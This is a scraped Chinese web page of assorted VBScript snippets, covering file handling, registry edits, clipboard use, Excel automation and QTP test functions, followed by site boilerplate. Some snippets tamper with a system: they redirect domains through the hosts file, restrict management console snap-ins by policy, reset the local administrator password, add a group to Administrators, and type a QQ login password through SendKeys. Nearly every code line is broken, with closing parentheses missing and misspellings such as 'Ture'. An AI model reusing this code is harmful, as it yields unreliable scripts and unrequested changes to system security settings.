Set TestFile=fso.CreateTextFile(""&gangzi&"/新建文件夹.vbs",Ture TestFile.WriteLine("By www.gangzi.org" TestFile.Close Next 20.VBS遍历本机全盘找到所有123.exe，然后给他们改名321.exe 程序代码
set fs = CreateObject("Scripting.FileSystemObject" for each drive in fs.drives fstraversal drive.rootfolder next sub fstraversal(byval this for each folder in this.subfolders fstraversal folder next set files = this.files for each file in files if file.name = "123.exe" then file.name = "321.exe" next end sub 21.VBS写入代码到粘贴板（先说明一下，VBS写内容到粘贴板，网上千篇一律都是通过InternetExplorer.Application对象来实现，但是缺点是在默认浏览器为非IE中会弹出浏览器，所以费了很大的劲找到了这个代码来实现） 程序代码
str=“这里是你要复制到剪贴板的字符串” Set ws = wscript.createobject("wscript.shell" ws.run "mshta vbscript:clipboardData.SetData("+""""+"text"+""""+","+""""&str&""""+"(close",0,true 22.QQ自动发消息（保存BVS运行即可看到效果，希望高手举一反三，刚子原创）

程序代码
On Error Resume Next str="我是笨蛋/qq" Set WshShell=WScript.CreateObject("WScript.Shell" WshShell.run "mshta vbscript:clipboardData.SetData("+""""+"text"+""""+","+""""&str&""""+"(close",0 WshShell.run "tencent://message/?Menu=yes&uin=20016964&Site=&Service=200&sigT=2a39fb276d15586e1114e71f7af38e195148b0369a16a40fdad564ce185f72e8de86db22c67ec3c1",0,true WScript.Sleep 3000 WshShell.SendKeys "^v" WshShell.SendKeys "%s" 23.VBS隐藏文件 程序代码
Set objFSO = CreateObject("Scripting.FileSystemObject" Set objFile = objFSO.GetFile("F:/软件大赛/show.txt" If objFile.Attributes = objFile.Attributes AND 2 Then objFile.Attributes = objFile.Attributes XOR 2
End If 24.VBS生成随机数（521是生成规则，不同的数字生成的规则不一样，可以用于其它用途） 程序代码
Randomize 521 point=Array(Int(100*Rnd+1,Int(1000*Rnd+1,Int(10000*Rnd+1 msgbox join(point,"" 25.VBS删除桌面IE图标（非快捷方式） 程序代码
Set oShell = CreateObject("WScript.Shell" oShell.RegWrite "HKCU/Software/Microsoft/Windows/CurrentVersion/Policies/Explorer/NoInternetIcon",1,"REG_DWORD"
26.VBS获取自身文件名 程序代码
Set fso = CreateObject("Scripting.FileSystemObject" msgbox WScript.ScriptName 27.VBS读取Unicode编码的文件 程序代码
Set objFSO = CreateObject("Scripting.FileSystemObject" Set objFile = objFSO.OpenTextFile("gangzi.txt",1,False,-1 strText = objFile.ReadAll objFile.Close Wscript.Echo strText 28.VBS读取指定编码的文件（默认为uft-8）gangzi变量是要读取文件的路径 程序代码
set stm2 =createobject("ADODB.Stream" stm2.Charset = "utf-8" stm2.Open
stm2.LoadFromFile gangzi readfile = stm2.ReadText MsgBox readfile 29.禁用组策略 程序代码
Set oShell = CreateObject("WScript.Shell" oShell.RegWrite "HKEY_CURRENT_USER/Software/Policies/Microsoft/MMC/RestrictToPermittedSnapins",1,"REG_DWORD" 30.VBS写指定编码的文件（默认为uft-8）gangzi变量是要读取文件的路径，gangzi2是内容变量 程序代码
gangzi="1.txt"
gangzi2="www.gangzi.org" Set Stm1 = CreateObject("ADODB.Stream" Stm1.Type = 2 Stm1.Open Stm1.Charset = "UTF-8" Stm1.Position = Stm1.Size Stm1.WriteText gangzi2 Stm1.SaveToFile gangzi,2 Stm1.Close set Stm1 = nothing 31.VBS获取当前目录下所有文件夹名字（不包括子文件夹） 程序代码
Set fso=CreateObject("scripting.filesystemobject" Set f=fso.GetFolder(fso.GetAbsolutePathName("." Set folders=f.SubFolders For Each fo In folders wsh.echo fo.Name Next Set folders=Nothing Set f=nothing Set fso=nothing 32.VBS获取指定目录下所有文件夹名字（包括子文件夹） 程序代码
Dim t Set fso=WScript.CreateObject("scripting.filesystemobject" Set fs=fso.GetFolder("d:/" WScript.Echo aa(fs Function aa(n Set f=n.subfolders For Each uu In f Set op=fso.GetFolder(uu.path t=t & vbcrlf & op.path
Call aa(op Next aa=t End function 33.VBS创建.URL文件（IconIndex参数不同的数字代表不同的图标，具体请参照SHELL32.dll里面的所有图标） 程序代码
set fso=createobject("scripting.filesystemobject" qidong=qidong&"[InternetShortcut]"&Chr(13&Chr(10 qidong=qidong&"URL=http://www.hahaha365.com"&Chr(13&Chr(10 qidong=qidong&"IconFile=C:/WINDOWS/system32/SHELL32.dll"&Chr(13&Chr(10 qidong=qidong&"IconIndex=130"&Chr(13&Chr(10 Set TestFile=fso.CreateTextFile("qq.url",Ture TestFile.WriteLine(qidong TestFile.Close 34.VBS写hosts（没写判断，无论存不存在都追加底部） 程序代码
Set fs = CreateObject("Scripting.FileSystemObject" path = ""&fs.GetSpecialFolder(1&"/drivers/etc/hosts" Set f = fs.OpenTextFile(path,8,TristateFalse f.Write ""&vbcrlf&"127.0.0.1 www.g.cn"&vbcrlf&"127.0.0.1 g.cn" f.Close 35.VBS读取出HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Explorer/Desktop/NameSpace 下面所有键的名字并循环输出 程序代码
Const HKLM = &H80000002 strPath = "SOFTWARE/Microsoft/Windows/CurrentVersion/Explorer/Desktop/NameSpace" Set oreg = GetObject("Winmgmts:/root/default:StdRegProv" oreg.EnumKey HKLM,strPath,arr
For Each x In arr WScript.Echo x Next ========================================================================= QTP_VBS 在编写 QTP脚本的过程中，有一些经常使用的函数。如果我们能熟悉这些常用的函数及其用法，并合理地使用它们，那么一些问题就很容易得到解决。下面是我总结的VBScript中常用的函数及其用法。 1，GetROProperty
说明：You use the GetROProperty method to retrieve the current value of a test object property from a run-time object in your application.
一般来说，所有的对象都可以使用此方法得到运行时对象的实际值。 语法：object.GetROProperty （Property， [PropertyData]）

如 ButtonName=Browser（"QA Home Page"）。Page（"QA Home Page"）。WebButton（"Submit"）。GetTOProperty（"Name"） 2，WaitProperty
说明：Waits until the specified object property achieves the specified value or exceeds the specified timeout before continuing to the next step.
此方法可以解决由于等待系统进行处理某些操作或网络原因引起的测试对象同步问题。 语法：object.WaitProperty （PropertyName， PropertyValue， [TimeOut]） 如

Window（"Test"）。Static（"Status："）。WaitProperty "text"， "Ready"， 30000 3，Instr
Returns the position of the first occurrence of one string within another. 可以得到一个字符串在另外一个字符串中首次出现的位置。 语法： InStr（[start， ]string1， string2[， compare]） 4，Split
Returns a zero-based， one-dimensional array containing a specified number of substrings.
此函数可以把原来用某个特殊字符串连接起来的字符串分割开，得到一个一维的数组。 5，UBound
Returns the largest available subscript for the indicated dimension of an array. 得到某个维度的最大值。 6，Trim

Returns a copy of a string without leading spaces （LTrim）， trailing spaces （RTrim）， or both leading and trailing spaces （Trim）。

如果需要删除字符串左边的所有空格，那么可以使用LTrim 函数；如果需要删除字符串右边的所有空格，那么可以使用RTrim 函数。如果需要删除字符串左边和右边的所有空格，那么可以使用Trim 函数。 7，Ucase
Returns a string that has been converted to uppercase. 此函数可以把所有的字符都转换成相应的大写。 8，LCase
Returns a string that has been converted to lowercase. 此函数可以把所有的字符都转换成相应的小写。 9，Cstr
Returns an expression that has been converted to a Variant of subtype String. 由于VBScript只有一种类型Variant，你可以使用此函数把某个变量强制转换成String类型。 10，CInt
Returns an expression that has been converted to a Variant of subtype Integer. 由于VBScript只有一种类型Variant，你可以使用此函数把某个变量强制转换成Integer类型。

在描述性编程语句中，最常用的函数有： 11，Create
这是创建一类或一个对象时必须要使用的方法。 12，ChildObjects
使用此方法可以得到符合某些条件的一类对象的集合。 13，Count
使用使用此方法可以得到符合某些条件的一类对象的个数。

The following example uses the Create method to return a Properties collection object named EditDescription， and then uses the returned object to instruct QuickTest to enter the text： MyName in the first WebEdit object in the Mercury Tours page with the name UserName.
Set EditDesc = Description.Create（） EditDesc（"micclass"）。Value = "WebEdit" EditDesc（"Name"）。Value = "userName"
Set Lists = Browser（"Welcome： Mercury"）。Page（"Welcome： Mercury"）。ChildObjects（EditDesc）


NumberOfLists = Lists.Count（） If NumberOfLists > 0 Then
Browser（"Welcome： Mercury"）。Page（"Welcome： Mercury"）。Lists（0）。Set "MyName" End If
一些具体的用法可以在 QTP的帮助里面找到。 个人的建议是：你最好按照 QTP里面提供的例子，自己使用这些函数自己写几行语句，运行后看一下运行结果，结合QTP帮助里面的说明，这样学习会快，也记得牢固。

在输出结果时， 常用的函数有 Msgbox 和 Print 函数。Msgbox 函数在 QTP8.2 及其以上版本都可以使用；Print 函数需要在 QTP 9.2 版本上使用，QTP 8.2 不支持此函数，不知道 QTP 9.0是否支持此函数。 希望大家共同总结一下，一起进步。 本文来源于：IT学习网（www.ITxuexi.com）
详文请参考：http://www.itxuexi.com/tech/script/vbscript/892721263121542.html ============================================================================ 常用vbs集合. 将域用户或组添加到本地组
Set objGroup = GetObject("WinNT://./Administrators" Set objUser = GetObject("WinNT://testnet/Engineers" objGroup.Add(objUser.ADsPath 修改本地管理员密码
Set objcnlar = GetObject("WinNT://./administrator, user" objcnla.SetPassword "P@ssW0rd" objcnla.SetInfo 弹出 YES or NO 的对话框，不同的选择执行不同的代码
intAnswer = Msgbox("Do you want to delete these files?", vbYesNo, "Delete Files" If intAnswer = vbYes Then Msgbox "You answered yes." Else Msgbox "You answered no."
End If 运行CMD命令行命令
set obshell=wscript.createobject("wscript.shell"
obshell.run ("ipconfig",,true 如果要运行的命令中包含双引号，可使用&chr(34&代替 忽略代码错误继续执行
On Error Resume Next 放置于代码的最开头，当代码运行出错后并不停止跳出而是继续执行下一条。适当应用会很有效果。
注册表的修改，读取，删除，创建
Set wso = CreateObject("WScript.Shell" '声明 wso.RegWrite "%Path%"'创建子键
wso.RegWrite "%Path%","%Value%"'修改"默认"键值
wso.RegWrite "%Path%",%Value%,%RegType% '修改特定类型的键值
'(字符串值 REG_SZ 可扩充字符串值 REG_EXPAND_SZ DWORD值 REG_DWORD 二进制值
REG_BINARY Set WSHShell= Wscript.CreateObject("Wscript.Shell" WSHShell.RegRead (%Path% '读取注册表子键或键值(一般用于判断某一事件是否执行 Set wso = CreateObject("WScript.Shell" wso.RegDelete "%Path%" '删除子键或键值
'(根键缩写HKEY_CLASSES_ROOT HKCR HKEY_CURRENT_USER HKCU HKEY_LOCAL_MACHINE HKLM,其余无 eg: Set wso = CreateObject("Wscript.Shell" wso.RegWrite "HKLM/SOFTWARE/Microsft/Windows NT/#1" wso.RegWrite "HKLM/SOFTWARE/Microsft/Windows NT/#1","0" wso.RegWrite "HKLM/SOFTWARE/Microsft/Windows NT/#1/#2",0,REG_BINARY wso.RegDelete "HKLM/SOFTWARE/Microsft/Windows NT/#1" Wscript.quit 文件的复制，删除，创建，简单的写入
Set fso = Wscript.CreateObject("Scripting.FileSystemObject" „声明

Set f = fso.CreateTextFile("%PATH%" '创建文件,其中f可任意，包含缩略名 f.WriteLine("VBS" '写文件内容,该命令功能太简单,目前看来只能用于TXT文件
f.Close set c=fso.getfile("%path%" ‟拷贝某文件 c.copy("%PATH2%" '拷贝文件到指定地点 fso.deletefile("%PATH%" '删除文件 Wscript.quit eg. Set fso = Wscript.CreateObject("Scripting.FileSystemObject" Set f=fso.CreateTextFile("C:/Sample.txt" WriteLine("VBS" f.close set e=fso.getfile(C:/Sample.txt e.copy("D:/Sample.txt" fso.deletefile(C:/Sample.txt Wscript.quit 向应用程序输出简单的连串指令 dim program1 '声明变量program1 program1= "%Path%" '应用程序路径
set wshshell=createobject("wscript.shell" '声明饮用函数 set oexec=wshshell.exec(program1 '运行程序
wscript.sleep 2000 '(该行命令未知作用.估计是设定延迟，请高手指点 wshshell.appactivate "%WindowsName%" '激活运用程序窗口
wshshell.sendkeys "+{%KeyBoardName%}" '第一次输出键盘按键指令前要加+ wshshell.sendkeys "555555" '在程序输入栏中输入运用该系列命令须首先确定程序可以实施连串的键盘操作，这在QQ登录中最适用，如下例。
eg. dim program1 program1="D:/Program Files/Tencent/coralQQ.exe" set wshshell=CreateObject("wscript.shell" set oexec=wshshell.exec(program1
wscript.sleep 2000 wshshell.appactivate "QQ登录" wshshell.sendkeys "+{TAB}" wshshell.sendkeys "250481892" wscript.sleep 2000 wshshell.sendkeys "{TAB}" wshshell.sendkeys "****************" wscript.sleep 2000 wshshell.sendkeys "{ENTER}" Wscript.quit 文件夹的简单操作
Set fso = Wscript.CreateObject("Scripting.FileSystemObject" „声明 Set f = fso.CreateFolder("%PATH%" 创建文件夹 Set e = getFolder(%PATH% 类似于“绑定目标” e.copy("%PATH2%" 复制文件夹 fso.deletefolder(%PATH% 删除文件夹
eg. Set fso = Wscript.CreateObject("Scripting.FileSystemObject" Set f = fso.CreateObject("C:/sample" f.copy("D:/sample" fso.deletefolder("C:/sample"
'(由上例可以看出，文件夹的操作很多是和文件的操作相通的，因此VBS文件具有很多命令的统一性
将某一指定文件夹的所有只读文件转为可读文件 Const ReadOnly = 1 „设只读属性对应值为1 Set FSO = CreateObject("Scripting.FileSystemObject" '声明 Set Folder = FSO.GetFolder("%PATH%" ‟绑定文件夹 Set colFiles = Folder.Files „文件夹所有文件

For Each objFile in colFiles ‟下列语句应用于文件夹所有文件
If File.Attributes AND ReadOnly Then '这是关键之处，这里应用了If判断语句，来检测文件属性是否为只读
File.Attributes = File.Attributes XOR ReadOnly „对判断结果为Ture（默认为True）‟执行XOR逻辑运算，将其改为可读 End If „结束判断
Next 将Word文件另存为文本文件 Const wdFormatText = 2 ‟设置常数值
(当该值为8时另存为HTML文档，为11时另存为XML文档 Set objWord = CreateObject("Word.Application" '申明调用函数 Set objDoc = objWord.Documents.Open("%Path%" „打开某DOC文件 objDoc.SaveAs "%PATH2%", wdFormatText 另存为…… objWord.Quit eg: Const wdFormatText = 2 Set objWord = CreateObject("Word.Application" Set objDoc = objWord.Documents.Open("d:/doc1.doc" objDoc.SaveAs "g:/doc1.txt", wdFormatText objWord.Quit ============================================================ VBS常用方法 Err 对象
Err 对象是一个具有全局范围 —的固有对象：不必在您的代码中创建它的示例。Err的属性被一个错误的生成器设置：Visual Basic自动对象，或 VBScript程序。err对象含有关于运行时错误的信息。接受用于生成和清除运行时错误的Raise 和Clear方法。当发生运行时错误时，Err的属性由标识错误的唯一信息以及可用于处理它的信息填充。要在代码中生成运行时错误，请用Raise方法。 Err 对象的属性
Number 属性 错误号。Number 是 Err 对象的默认属性，可读可写。语法：
err.Number [= errornumber]
Description 属性 返回或设置与错误相关联的说明性字符串。语法： err.Description [= stringexpression]
Source 属性 返回或设置最初生成错误的对象或应用程序的名称。语法：
err.Source [= stringexpression] HelpFile 属性 设置或返回帮助文件的完整有效路径。 语法: err.HelpFile [= contextID] contextID是帮助文件的完整有效路径。
HelpContext 属性 设置或返回帮助文件主题的上下文 ID。语法: err.HelpContext [= contextID] contextID是在帮助文件中帮助主题的有效标识符。
Err 对象的方法
Raise方法 生成运行时错误。语法：
err.Raise(number, source, description, helpfile, helpcontext number是错误号，长整数子类型。VBScript 错误有VBScript 定义和用户定义两种错误，错误号的范围在0-65535 之间。number参数是必须的，其它参数是可选的，用来设置err对象的某属性。如果不指定某些参数且Err对象的属性设置含有未清除的值，则这些值将成为错误的值。
Clear 方法 清除 Err 对象的所有属性设置。语法：
err.Clear
在错误处理后，使用Clear 显式地清除Err 对象，此操作是必须的，在任何时候执行下列语句，VBScript 将自动调用 Clear 方法： On Error Resume Next Exit Sub Exit Function 例程1 生成并显示第6号错误。 代码
On Error Resume Next Err.Raise 6 '发生溢出错误。
MsgBox ("Error # " & CStr(Err.Number & " " & Err.Description Err.Clear ' 清除错误。
例程2 建立用户自己的错误号和错误信息。 代码：
On Error Resume Next Err.Raise vbObjectError + 1, "SomeObject" ' 产生对象错误
#1. MsgBox ("Error # " & CStr(Err.Number & " " & Err.Description & " " & Err.source Err.Clear ' 清除错误。 运行： 代码注释

例程1演示的是VBScript定义的错误，而例程2演示的是用户定义的错误。 目标任务 把VBScript定义的前100个错误信息显示出来。 代码
sub showErr(i On Error Resume Next Err.Raise i document.write ("Error # " & CStr(Err.Number&" "& Err.Description & " " Err.Clear End sub for i =0 to 100 showErr i next 对比 Javascript中做不到这一点。
参考 On Error语句
On Error启动错误处理程序。语法：
On Error Resume Next 若不使用On Error语句，发生的任何运行时错误都将是致命的，即显示错误信息并终止运行。On Error 会使程序从紧随产生错误的语句之后的语句继续执行，或是从紧随最近一次调用过程（该过程含有On Error 语句）的语句继续运行。这个语句可以不顾运行时错误，继续执行程序，之后您可以在过程内部建立错误处理例程。在调用另一个过程时，On Error语句变
为非活动的。所以，如果希望在例程中进行内部错误处理，则应在每一个调用的例程中执行On Error语句。 (一 使用动态创建的方法
首先创建 Excel 对象，使用ComObj: oExcel = CreateObject( "Excel.Application" 1 显示当前窗口： oExcel.Visible = True 2 更改 Excel 标题栏：
oExcel.Caption = "应用程序调用 Microsoft Excel" 3 添加新工作簿： oExcel.WorkBooks.Add 4 打开已存在的工作簿：
oExcel.WorkBooks.Open( "C:/Excel/Demo.xls" 5 设置第2个工作表为活动工作表： oExcel.WorkSheets(2.Activate 或
oExcel.WorksSheets( "Sheet2" .Activate 6 给单元格赋值：
oExcel.Cells(1,4.Value = "第一行第四列" 7 设置指定列的宽度（单位：字符个数），以第一列为例：
oExcel.ActiveSheet.Columns(1.ColumnsWidth = 5 8 设置指定行的高度（单位：磅）（1磅＝0.035厘米），以第二行为例： oExcel.ActiveSheet.Rows(2.RowHeight = 1/0.035 ' 1厘米

9 在第8行之前插入分页符：
oExcel.WorkSheets(1.Rows(8.PageBreak = 1 10 在第8列之前删除分页符：
oExcel.ActiveSheet.Columns(4.PageBreak = 0 11 指定边框线宽度：
oExcel.ActiveSheet.Range( "B3:D4" .Borders(2.Weight = 3 1-左 2-右 3-顶 4-底 5-斜( / 6-斜( / 12 清除第一行第四列单元格公式： oExcel.ActiveSheet.Cells(1,4.ClearContents 13 设置第一行字体属性：
oExcel.ActiveSheet.Rows(1.Font.Name = "隶书" oExcel.ActiveSheet.Rows(1.Font.Color = clBlue oExcel.ActiveSheet.Rows(1.Font.Bold = True oExcel.ActiveSheet.Rows(1.Font.UnderLine = True 14 进行页面设置： a.页眉：
oExcel.ActiveSheet.PageSetup.CenterHeader = "报表演示" b.页脚：
oExcel.ActiveSheet.PageSetup.CenterFooter = "第&P页" c.页眉到顶端边距2cm：
oExcel.ActiveSheet.PageSetup.HeaderMargin = 2/0.035 d.页脚到底端边距3cm：
oExcel.ActiveSheet.PageSetup.HeaderMargin = 3/0.035 e.顶边距2cm：
oExcel.ActiveSheet.PageSetup.TopMargin = 2/0.035 f.底边距2cm：
oExcel.ActiveSheet.PageSetup.BottomMargin = 2/0.035 g.左边距2cm：
oExcel.ActiveSheet.PageSetup.LeftMargin = 2/0.035 h.右边距2cm：
oExcel.ActiveSheet.PageSetup.RightMargin = 2/0.035
i.页面水平居中：
oExcel.ActiveSheet.PageSetup.CenterHorizontally = 2/0.035 j.页面垂直居中：
oExcel.ActiveSheet.PageSetup.CenterVertically = 2/0.035 k.打印单元格网线：
oExcel.ActiveSheet.PageSetup.PrintGridLines = True 15 拷贝操作： a.拷贝整个工作表：
oExcel.ActiveSheet.Used.Range.Copy b.拷贝指定区域：
oExcel.ActiveSheet.Range( "A1:E2" .Copy c.从A1位置开始粘贴：
oExcel.ActiveSheet.Range.( "A1" .PasteSpecial d.从文件尾部开始粘贴：
oExcel.ActiveSheet.Range.PasteSpecial 16 插入一行或一列：
a. oExcel.ActiveSheet.Rows(2.Insert b. oExcel.ActiveSheet.Columns(1.Insert 17 删除一行或一列：
a. oExcel.ActiveSheet.Rows(2.Delete b. oExcel.ActiveSheet.Columns(1.Delete 18 打印预览工作表：
oExcel.ActiveSheet.PrintPreview 19 打印输出工作表： oExcel.ActiveSheet.PrintOut 20 工作表保存：
if not oExcel.ActiveWorkBook.Saved then oExcel.ActiveSheet.PrintPreview 21 工作表另存为：
oExcel.SaveAs( "C:/Excel/Demo1.xls"
22 放弃存盘：
oExcel.ActiveWorkBook.Saved = True 23 关闭工作簿： oExcel.WorkBooks.Close 24 退出 Excel：
oExcel.Quit (二 使用VBS 控制Excle二维图 1）选择当第一个工作薄第一个工作表
set Sheet=oExcel.Workbooks(1.Worksheets(1 2）增加一个二维图
achart=oSheet.chartobjects.add(100,100,200,200 3）选择二维图的形态 achart.chart.charttype=4 4）给二维图赋值
set series=achart.chart.seriescollection range="sheet1!r2c3:r3c9" series.add range,true 5）加上二维图的标题
achart.Chart.HasTitle=True achart.Chart.ChartTitle.Characters.Text=" Excle二维图" 6）改变二维图的标题字体大小 achart.Chart.ChartTitle.Font.size=18 7）给二维图加下标说明
achart.Chart.Axes(xlCategory, xlPrimary.HasTitle = True achart.Chart.Axes(xlCategory, xlPrimary.AxisTitle.Characters.Text = "下标说明"
8）给二维图加左标说明
achart.Chart.Axes(xlValue, xlPrimary.HasTitle = True achart.Chart.Axes(xlValue, xlPrimary.AxisTitle.Characters.Text = "左标说明" 9）给二维图加右标说明
achart.Chart.Axes(xlValue, xlSecondary.HasTitle = True achart.Chart.Axes(xlValue, xlSecondary.AxisTitle.Characters.Text = "右标说明" 10）改变二维图的显示区大小 achart.Chart.PlotArea.Left = 5 achart.Chart.PlotArea.Width = 223 achart.Chart.PlotArea.Height = 108 =============================================== Dim fso,TestFile Set fso=CreateObject("Scripting.FileSystemObject" Set TestFile=fso.CreateTextFile("C:/hello.txt",Ture TestFile.WriteLine("Hello,World!" TestFile.Close 创建文件夹
Dim fso,fld Set fso=CreateObject("Scripting.FileSystemObject" Set fld=fso.CreateFolder("C:/newFolder" 判断文件夹是否存在
Dim fso,fld Set fso=CreateObject("Scripting.FileSystemObject" If (fso.FolderExists("C:/newFolder" Then msgbox("Folder exists." else set fld=fso.CreateFolder("C:/newFolder" End If 使用变量判断文件夹

Dim fso,fld drvName="C:/" fldName="newFolder" Set fso=CreateObject("Scripting.FileSystemObject" If (fso.FolderExists(drvName&fldName Then msgbox("Folder exists." else set fld=fso.CreateFolder(drvName&fldName End If 加输入框
Dim fso,TestFile,fileName,drvName,fldName drvName=inputbox("Enter the drive to save to:","Drive letter" fldName=inputbox("Enter the folder name:","Folder name" fileName=inputbox("Enter the name of the file:","Filename" Set fso=CreateObject("Scripting.FileSystemObject" If(fso.FolderExists(drvName&fldNameThen msgbox("Folder exists" Else Set fld=fso.CreateFolder(drvName&fldName End If Set TestFile=fso.CreateTextFile(drvName&fldName&"/"&fileName&".txt",True TestFile.WriteLine("Hello,World!" TestFile.Close 检查是否有相同文件
Dim fso,TestFile,fileName,drvName,fldName drvName=inputbox("Enter the drive to save to:","Drive letter" fldName=inputbox("Enter the folder name:","Folder name" fileName=inputbox("Enter the name of the file:","Filename" Set fso=CreateObject("Scripting.FileSystemObject"
If(fso.FolderExists(drvName&fldNameThen msgbox("Folder exists" Else Set fld=fso.CreateFolder(drvName&fldName End If If(fso.FileExists(drvName&fldName&"/"&fileName&".txt"Then msgbox("File already exists." Else Set TestFile=fso.CreateTextFile(drvName&fldName&"/"&fileName&".txt",True TestFile.WriteLine("Hello,World!" TestFile.Close End If 改写、追加 文件
Dim fso,openFile Set fso=CreateObject("Scripting.FileSystemObject" Set openFile=fso.OpenTextFile("C:/test.txt",2,True '1表示只读，2表示可写，8表示追加
openFile.Write "Hello World!" openFile.Close 读取文件 ReadAll 读取全部
Dim fso,openFile Set fso=CreateObject("Scripting.FileSystemObject" Set openFile=fso.OpenTextFile("C:/test.txt",1,True MsgBox(openFile.ReadAll 读取文件 ReadLine 读取一行
Dim fso,openFile Set fso=CreateObject("Scripting.FileSystemObject" Set openFile=fso.OpenTextFile("C:/test.txt",1,True MsgBox(openFile.ReadLine( MsgBox(openFile.ReadLine( '如果读取行数超过文件的行数，就会出错

本文来源：https://www.2haoxitong.net/k/doc/6cec2ce36137ee06eef9180d.html

《VBS常用代码合集.doc》
将本文的Word文档下载到电脑，方便收藏和打印
推荐度：
点击下载文档

文档为doc格式
相
关
案
例

相关推荐

推荐内容

【高中语文】古诗词开放性默写试题例析 《杂感》古诗词赏析 司法案例《以案释法》：保险公司拒赔非医保药费,法院说不!.doc 自愿离职承诺书 股票基本分析 建党100周年主持开场白 安全文明出行的手抄报 《典范英语》(4a-L2)教学参考 本科学生毕业论文(设计)题目审批表 关于炒股的年度经典语录
网站内容来自网络，如有侵权请联系我们，立即删除！ Copyright © 范文写作网京ICP备16605803号